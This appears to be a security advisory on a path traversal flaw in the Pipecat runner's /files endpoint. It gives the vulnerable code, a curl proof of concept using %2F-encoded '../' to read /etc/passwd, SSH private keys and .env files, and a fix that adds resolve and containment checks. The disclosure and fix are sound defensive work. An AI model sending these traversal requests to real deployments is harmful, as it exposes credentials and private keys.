Pipecat: Path Traversal in Pipecat Runner `/files` Endpoint — Arbitrary File Read via `%2F`-Encoded Separator

Summary

A path traversal vulnerability exists in Pipecat's development runner (src/pipecat/runner/run.py). When the runner is started with the --folder flag, it exposes a GET /files/{filename:path} download endpoint. The filename path parameter is concatenated directly onto args.folder with no containment check. Starlette normalises literal ../ sequences in URLs, but %2F-encoded slashes bypass this normalisation: the path parameter is URL-decoded *after* routing, so ..%2F..%2Fetc%2Fpasswd resolves to a path two levels above args.folder. An attacker with network access to the runner can read any file the pipecat process has permission to access — including SSH private keys, credentials, and system files — with a single unauthenticated HTTP request.

Confirmed on pipecat-ai 1.1.0 (latest PyPI release) and commit f078df78058ae82a02ce5b23e9e3a99a0917a53d.

---

Details

The vulnerable code is in src/pipecat/runner/run.py, inside the _configure_server_app() function, lines 249–264:

@app.get("/files/{filename:path}")
async def download_file(filename: str):
    """Handle file downloads."""
    if not args.folder:
        logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.")
        return

    file_path = Path(args.folder) / filename          # ← no containment check
    if not os.path.exists(file_path):
        raise HTTPException(404)

    media_type, _ = mimetypes.guess_type(file_path)

    return FileResponse(path=file_path, media_type=media_type, filename=filename)

Path(args.folder) / filename joins the caller-supplied filename onto the base directory without calling .resolve() or checking is_relative_to. Python's pathlib does not strip .. segments during join — only .resolve() does. Starlette strips literal ../ from the *URL path* before the route handler runs, but it decodes percent-encoded characters *inside* the matched path parameter value. Because %2F decodes to / after the router has already matched the route, the value that reaches filename can contain / characters, enabling directory traversal.

For example:

GET /files/..%2F..%2Fetc%2Fpasswd
                   ↓
filename = "../../etc/passwd"          (after Starlette decodes %2F)
file_path = Path("/tmp/media") / "../../etc/passwd"
          = Path("/tmp/media/../../etc/passwd")
          → resolves to /etc/passwd    (os.path.exists returns True)

The endpoint has no authentication — the runner does not implement any auth layer — so the request requires no credentials.

---

Proof of

Concept

Step 1 — Start the Pipecat runner with --folder

The runner requires a bot script with a bot() entry point. A minimal script that keeps the HTTP server alive without any transport logic:

# minimal_bot.py
async def bot(runner_args):
    import asyncio
    await asyncio.sleep(86400)

if __name__ == "__main__":
    from pipecat.runner.run import main
    main()

Start the runner:

pip install "pipecat-ai[runner,webrtc]"

mkdir /tmp/bot_media
echo "session transcript" > /tmp/bot_media/recording.txt

python minimal_bot.py \
    -t webrtc \
    --host 127.0.0.1 \
    --port 7860 \
    --folder /tmp/bot_media

Expected output: <img width="1626" height="462" alt="image" src="https://github.com/user-attachments/assets/912e8ea2-cff9-4a36-a6be-e85091d9f89f" />

Step 2 — Exploit

# Legitimate request — serves a file inside --folder
curl "http://127.0.0.1:7860/files/recording.txt"
# → session transcript

# Literal ../ — blocked by Starlette path normalisation
curl "http://127.0.0.1:7860/files/../../etc/passwd"
# → {"detail":"Not Found"}

# %2F-encoded separators — bypass normalisation, read /etc/passwd
curl "http://127.0.0.1:7860/files/..%2F..%2Fetc%2Fpasswd"
# →

## User

Database
#   root:*:0:0:System Administrator:/var/root:/bin/sh
#   ...

# Read SSH private key
curl "http://127.0.0.1:7860/files/..%2F..%2F..%2Fhome%2Fuser%2F.ssh%2Fid_rsa"
# → -----BEGIN OPENSSH PRIVATE KEY-----
#   b3BlbnNzaC1rZXktdjEAAAA...

# Read application secrets
curl "http://127.0.0.1:7860/files/..%2F..%2F.env"

Confirmed results (pipecat-ai 1.1.0, tested 2026-04-29)

| Request | HTTP status | Content | |---------|-------------|---------| | GET /files/recording.txt | 200 | Legitimate file | | GET /files/../../etc/passwd | 404 | Blocked — literal .. normalised away | | GET /files/..%2F..%2Fetc%2Fpasswd | 200 | Full /etc/passwd | | GET /files/..%2F..%2F..%2Fhome/…/.ssh/id_rsa | 200 | RSA private key (BEGIN OPENSSH PRIVATE KEY) | <img width="2222" height="516" alt="image" src="https://github.com/user-attachments/assets/4c7a014c-8646-479a-8439-b8e722a69e49" /> <img width="1304" height="314" alt="image" src="https://github.com/user-attachments/assets/14f71b3f-2a35-4d2b-8049-8af758fbc6ba" /> <img width="1188" height="390" alt="image" src="https://github.com/user-attachments/assets/53fe2b33-2cd3-4745-b9f2-7aa426318e00" />

---

Impact

The --folder flag is a documented, first-class feature of the runner: the runner_downloads_folder() helper and -f / --folder CLI argument are part of the public API. The runner documentation includes LAN-deployment examples (--host 192.168.1.100 for ESP32 integration). In those deployments, any host on the local network can exploit this with zero credentials.

An attacker who can reach the runner port and knows --folder is active can retrieve any file readable by the pipecat process:

• SSH private keys and TLS certificates
• .env files and application credentials
• Database files, session tokens, API keys
• System files such as /etc/passwd and /etc/shadow (on Linux)
• Source code, config files, and secrets in parent directories of --folder

---

Remediation

Call .resolve() on both the base path and the joined path, then assert containment with is_relative_to:

@app.get("/files/{filename:path}")
async def download_file(filename: str):
    if not args.folder:
        logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.")
        return

    allowed_base = Path(args.folder).resolve()
    file_path = (allowed_base / filename).resolve()   # resolve AFTER join

    if not file_path.is_relative_to(allowed_base):    # containment check
        raise HTTPException(status_code=403, detail="Access denied")
    if not file_path.exists():
        raise HTTPException(status_code=404)

    media_type, _ = mimetypes.guess_type(file_path)
    return FileResponse(path=file_path, media_type=media_type, filename=file_path.name)

Path.resolve() expands all .. components and follows symlinks before is_relative_to compares the paths, so neither %2F-encoded separators nor symlink chains can escape the allowed base.